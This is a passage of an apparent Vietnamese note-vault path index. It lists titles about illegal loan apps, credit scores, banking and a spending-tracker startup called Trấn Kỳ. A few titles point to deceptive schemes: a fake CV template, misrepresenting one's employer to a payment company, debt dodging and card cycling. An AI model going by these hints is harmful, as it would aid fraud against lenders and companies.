vì dữ liệu đã được chia sẻ hết rồi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay không điểm tín dụng", + "App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay không điểm tín dụng", + "App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay không điểm tín dụng", + "App đen, vay nóng là những cái tên cho cùng một thứ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay không điểm tín dụng", + "DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay không điểm tín dụng", + "Vay nóng nếu không trả sẽ bị bêu xấu với mọi người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Hạn mức và lãi suất không liên quan tới hộ khẩu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Ngân hàng ngại CIC có dính đến tín dụng ngoài hoặc ví trả sau, kể cả khi chưa quá hạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Người dùng thẻ thường xuyên sẽ ghi được nhiều điểm CIC" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Rút tiền mặt tại cửa hàng là bị cấm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Sử dụng tín dụng sẽ khuyến khích mình chi tiêu rất nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Ngân hàng, điểm tín dụng", + "Điểm tín dụng" +] + +🚀: true +[ "", "⚡Hiểu biết sâu", "Ngành tài chính", "Vay tiền" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Đầu tư", + "Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Đầu tư", + "Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Con người hay công cụ mới là vấn đề" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Lách luật là phạm luật một cách đúng luật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Tài nguyên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Đạo đức, pháp luật. Chủ nghĩa tân tự do", + "Việc khai thác điểm yếu của con người đem lại lợi nhuận" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "App đen" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Bảo hiểm" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Luật" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Mua trước trả sau" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Quỹ" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Thu nhập" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Thẻ tín dụng" ] + +🚀: true +[ "", "📐 Dự án", "Chạy chỉ tiêu cho nhân viên các công ty" ] + +🚀: false +[ + "", + "📐 Dự án", + "Chạy chỉ tiêu cho nhân viên các công ty", + "Tài liệu", + "Ghi chú về các app ngân hàng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Chạy chỉ tiêu cho nhân viên các công ty", + "Tài liệu", + "Mẫu CV ảo" +] + +🚀: false +[ + "", + "📐 Dự án", + "Chạy chỉ tiêu cho nhân viên các công ty", + "Tài liệu", + "Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Chạy chỉ tiêu cho nhân viên các công ty", + "Tài liệu", + "Script" +] + +🚀: false +[ + "", + "📐 Dự án", + "Chạy chỉ tiêu cho nhân viên các công ty", + "Tài liệu", + "Xử lý tình huống, câu hỏi thường gặp" +] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Bản câu hỏi cho người cần được hỗ trợ thoát nợ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Công việc", + "Huy động nguồn tiền nhàn rỗi" +] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Công việc", + "Thương lượng với chủ nợ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Công việc", + "Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Công việc", + "Đứng ra vay giùm" +] + +🚀: false +[ "", "📐 Dự án", "Giúp nhau thoát nợ", "Kendy", "Kendy cần gì" ] + +🚀: false +[ + "", + "📐 Dự án", + "Giúp nhau thoát nợ", + "Kendy", + "Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền" +] + +🚀: false +[ "", "📐 Dự án", "Giúp nhau thoát nợ", "Nhật ký", "1" ] + +🚀: false +[ "", "📐 Dự án", "Giúp nhau thoát nợ", "Xù nợ" ] + +🚀: false +[ "", "📐 Dự án", "Người chơi", "Hồng Thị Tuyết Nhi" ] + +🚀: false +[ "", "📐 Dự án", "Người chơi", "Nguyễn Hữu Lộc" ] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ", "Chương trình quản lý chi tiêu cá nhân" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Chương trình quản lý chi tiêu cá nhân", + "Tiềm năng thị trường" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Chương trình quản lý chi tiêu cá nhân", + "Tài liệu", + "Hướng phát triển" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Chương trình quản lý chi tiêu cá nhân", + "Đặc tả yêu cầu cho webapp" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Giá trị của Trấn Kỳ", + "Giả thiết về giá trị của Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Khả năng vận hành", + "Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Khả năng vận hành", + "Giả thiết về khả năng vận hành Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Thành phẩm", + "Cứ 13 reach thì có 1 link click" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Thành phẩm", + "Cứ 20 người học thì có 500k" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Thị trường", + "Cách các công ty nhập liệu hoạt động" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Thị trường", + "Giả thiết về thị trường của nền kinh tế phi chính thức" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Thị trường", + "Thị trường phần mềm hạch toán tự động" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Tiếp nhận người dùng", + "Giả thiết về thái độ người dùng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "2 Giả thiết", + "Tiếp nhận người dùng", + "Giả thiết về tiếp nhận của người đọc" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Lợi nhuận mỗi tuần 2tr5" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Mỗi tháng có lợi nhuận 10tr để trả lãi cho Trí" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Mỗi tuần có 10 người tham gia phát triển Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Mỗi tuần tiếp cận được 4000 người" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "3 Thành quả mong muốn", + "Một khoản đầu tư 120tr cho 3 tháng" +] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Chiến lược", + "Kế hoạch phát triển Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Chiến lược", + "Tiêu chí làm việc và ra quyết định" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Họp", + "27-11-2023" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Kế hoạch", + "Kế hoạch tạo lợi nhuận từ Trấn Kỳ", + "Kế hoạch bán cho người cần có sự kỷ luật tài chính" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Kế hoạch", + "Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ" +] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm", "Kế hoạch" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Kế hoạch", + "Untitled" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Câu hỏi khảo sát" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Câu hỏi phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Kết quả", + "Duy Phong" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Kết quả", + "Nguyễn Hữu Quý Ngân" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Kết quả", + "Nguyễn Khánh Huyền" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Kết quả", + "Trần Hoà" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Lời mời tham gia phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Nhu cầu phân loại tự động", + "Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Sự tiếp nhận với các bài viết", + "Câu hỏi phỏng vấn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Sự tiếp nhận với các bài viết", + "Kết quả", + "Duy Phong" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Sự tiếp nhận với các bài viết", + "Kết quả", + "Hải Yến" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Sự tiếp nhận với các bài viết", + "Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Sự tiếp nhận với các bài viết", + "Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Người dùng cá nhân", + "Tổ chức nhỏ hoặc người cần kỷ luật tài chính" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Người dùng", + "Tổ chức nhỏ", + "Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Quỹ", + "Kế hoạch sử dụng tiền" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Quỹ", + "Nhà đầu tư", + "J.D. Everest" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Quỹ", + "Nhà đầu tư", + "Tìm nhà đầu tư vào Trấn Kỳ" +] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm", "Quỹ" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Quỹ", + "Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Khảo sát trong các nhóm" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Lời mời tham gia đầu tư vào Trấn Kỳ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Lời mời xây dựng một startup" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Phân loại chi tiêu (ngắn)" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Phân loại chi tiêu" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Phân loại câu nhập (ngắn)" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Phân loại câu nhập" +] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm", "Truyền thông" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Truyền thông", + "Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Đội ngũ", + "Kiếm người kiếm tiền" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Đội ngũ", + "Kế hoạch xây dựng đội ngũ" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "4 Thành phẩm", + "Đội ngũ", + "Mai Quang" +] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm", "Đội ngũ", "Nhật" ] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "4 Thành phẩm", "Đội ngũ", "Thịnh" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "9 Blog", + "Hệ thống chấm điểm cảm xúc (Game con bò)" +] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "9 Blog", "Kiếm tiền từ Trấn Kỳ" ] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "9 Blog", "Lý do viết Trấn Kỳ" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "9 Blog", + "Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Cũ", + "9 Blog", + "Mô hình kinh doanh Trấn Kỳ" +] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "9 Blog", "Trấn Kỳ là gì" ] + +🚀: false +[ "", "📐 Dự án", "Trấn Kỳ", "Cũ", "Trần Nam Aramis" ] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Plugin tích hợp vào các chương trình kế toán", + "Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Trấn Kỳ", + "Plugin tích hợp vào các chương trình kế toán", + "Ý kiến của chị Hoà" +] + +🚀: true +[ "", "📐 Dự án", "Trấn Kỳ" ] + +🚀: true +[ "", "📐 Dự án", "Tạo cửa hàng" ] + +🚀: false +[ "", "📜Tài nguyên", "Chính sách công ty", "Cathay" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chính sách công ty", + "Các công ty trung gian thanh toán" +] + +🚀: false +[ "", "📜Tài nguyên", "Chính sách công ty", "VNPAY" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cách lên kế hoạch sử dụng tiền", + "Chỉ cần ước lượng đại khái" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cách lên kế hoạch sử dụng tiền", + "Cần lên kế hoạch từng tuần" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cách phân loại", + "Việc phân loại thủ công không phải là vấn đề" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cách phân loại", + "Việc phân loại thủ công là vấn đề lớn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cần nhập càng nhanh càng tốt" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Cần nhập lúc đi đường" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Hệ thống phân loại", + "Chỉ cần xét những mục phổ biến" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Hệ thống phân loại", + "Cần xét cặn kẽ từng hạng mục" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Khả năng sử dụng", + "Không đủ kiên nhẫn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Khả năng tích hợp", + "Cần tích hợp được với các chương trình khác" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "1 Nhu cầu người dùng", + "Khả năng tích hợp", + "Không cần tích hợp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Có thể dành thời gian nghiên cứu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Dữ liệu có văn cảnh lớn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Dữ liệu có văn cảnh nhỏ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Không cần dữ liệu huấn luyện" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Không cần thiết lập cấu hình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "2 Yêu cầu đầu vào", + "Phải thiết lập cấu hình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Chính sách giá", + "100k mỗi tháng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Chính sách giá", + "Freemium" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Chính sách giá", + "Miễn phí" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập liệu bằng giọng nói" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập liệu được bằng file text" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập liệu được trên Google Keep" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập liệu được trên Telegram" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập được bằng tập tin bảng tính" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập được trên máy tính" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập được trên web" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Nhập được trên điện thoại" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Tự động lấy thông tin giao dịch ngay lúc quẹt mã" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách nhập liệu", + "Điều khiển dễ dàng bằng bàn phím" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách phân loại", + "Phân loại bằng tay" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách phân loại", + "Phân loại tự động theo mô hình ngôn ngữ lớn" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Cách phân loại", + "Phân loại tự động theo quy luật" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Giao diện", + "Có GUI" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Giao diện", + "Dùng được trên CLI" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Có người hỗ trợ sâu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Game hoá" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Là phần mềm tự do" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Trả tiền để làm phân loại" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khác", + "Tạo query phức tạp được" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Dữ liệu chương trình lưu dưới dạng tập tin" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý 